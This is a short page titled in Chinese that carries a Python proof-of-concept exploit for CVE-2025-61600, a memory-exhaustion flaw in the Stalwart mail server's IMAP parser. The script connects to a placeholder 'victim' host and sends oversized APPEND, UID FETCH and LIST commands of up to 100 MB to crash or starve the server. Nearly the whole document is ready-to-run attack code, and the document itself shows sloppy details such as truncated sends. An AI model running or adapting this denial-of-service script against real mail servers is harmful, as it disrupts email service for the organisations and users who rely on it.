CVE-2025-61600 Stalwart邮件服务器IMAP解析器内存耗尽漏洞

# CVE-2025-61600 PoC - Stalwart IMAP Parser Memory Exhaustion # This PoC demonstrates the unbounded memory allocation vulnerability # in Stalwart's IMAP CommandParser by sending commands with oversized # parameters to state handlers that lack buffer size validation. import socket import ssl import time import sys TARGET_HOST = "victim.example.com" TARGET_PORT = 143 # IMAP port (or 993 for IMAPS) USE_SSL = False PAYLOAD_SIZE = 100 * 1024 * 1024 # 100MB payload to exhaust memory def exploit_append_command(): """Exploit via APPEND command - parser state lacks size validation""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) if USE_SSL: context = ssl.create_default_context() sock = context.wrap_socket(sock, server_hostname=TARGET_HOST) sock.connect((TARGET_HOST, TARGET_PORT)) # Read server greeting greeting = sock.recv(1024) print(f"[*] Server greeting: {greeting.decode().strip()}") # Send oversized APPEND command with a very long mailbox name # The APPEND state handler in CommandParser omits buffer size checks oversized_mbox = "A" * PAYLOAD_SIZE command = f'A001 APPEND "{oversized_mbox}" (\Seen) {{1024}}\r\n' print(f"[*] Sending oversized APPEND command ({len(command)} bytes)...") sock.sendall(command.encode()) time.sleep(2) sock.close() def exploit_uid_command(): """Exploit via UID FETCH command with oversized sequence set""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((TARGET_HOST, TARGET_PORT)) greeting = sock.recv(1024) print(f"[*] Server greeting: {greeting.decode().strip()}") # Send UID FETCH with an extremely long sequence range string # The UID FETCH state handler lacks buffer size validation oversized_seq = ":" + "1," * (PAYLOAD_SIZE // 2) command = f'A002 UID FETCH {oversized_seq} (FLAGS)\r\n' print(f"[*] Sending oversized UID FETCH command ({len(command)} bytes)...") sock.sendall(command.encode()[:1024*1024]) # Send in chunks time.sleep(2) sock.close() def exploit_list_command(): """Exploit via LIST command with oversized mailbox pattern""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((TARGET_HOST, TARGET_PORT)) greeting = sock.recv(1024) print(f"[*] Server greeting: {greeting.decode().strip()}") # Send LIST with oversized reference and mailbox pattern # The LIST state handler may omit buffer size validation oversized_pattern = "*" * PAYLOAD_SIZE command = f'A003 LIST "" "{oversized_pattern}"\r\n' print(f"[*] Sending oversized LIST command ({len(command)} bytes)...") sock.sendall(command.encode()[:1024*1024]) time.sleep(2) sock.close() if __name__ == "__main__": print(f"[*] CVE-2025-61600 PoC - Targeting {TARGET_HOST}:{TARGET_PORT}") try: exploit_append_command() time.sleep(1) exploit_uid_command() time.sleep(1) exploit_list_command() print("[*] Exploit payloads sent. Check target server memory status.") except Exception as e: print(f"[!] Error: {e}") sys.exit(1)